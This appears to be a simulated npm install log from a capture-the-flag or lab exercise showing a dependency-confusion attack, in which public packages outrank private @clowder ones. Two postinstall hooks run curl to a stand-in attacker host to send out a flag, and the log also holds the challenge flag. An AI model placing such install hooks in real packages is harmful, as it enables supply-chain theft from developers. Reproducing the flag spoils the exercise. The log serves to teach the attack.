npm install output

$ npm install

  Resolving @clowder/auth: private=1.0.0, public=9.9.9 → using public (9.9.9 > 1.0.0)
  Installing @clowder/auth@9.9.9 from public npm

  > @clowder/auth@9.9.9 postinstall
  > curl -s http://attacker.clowder.test/exfil?flag=flag{supply_dependency_confusion_bd2742028cd3ba0b}

  [EXEC] Running postinstall script...
  [HTTP] GET http://attacker.clowder.test/exfil?flag=flag{supply_dependency_confusion_bd2742028cd3ba0b}
  [HTTP] Response: 200 OK (flag exfiltrated)
  Resolving @clowder/ui: private=2.1.0, public=3.0.0 → using public (3.0.0 > 2.1.0)
  Installing @clowder/ui@3.0.0 from public npm

  > @clowder/ui@3.0.0 postinstall
  > curl -s http://attacker.clowder.test/exfil?flag=flag{supply_dependency_confusion_bd2742028cd3ba0b}

  [EXEC] Running postinstall script...
  [HTTP] GET http://attacker.clowder.test/exfil?flag=flag{supply_dependency_confusion_bd2742028cd3ba0b}
  [HTTP] Response: 200 OK (flag exfiltrated)
  Resolving @clowder/logger: only in private registry (0.5.2)
  Installing @clowder/logger@0.5.2 from private registry

added 3 packages in 1.2s

← Back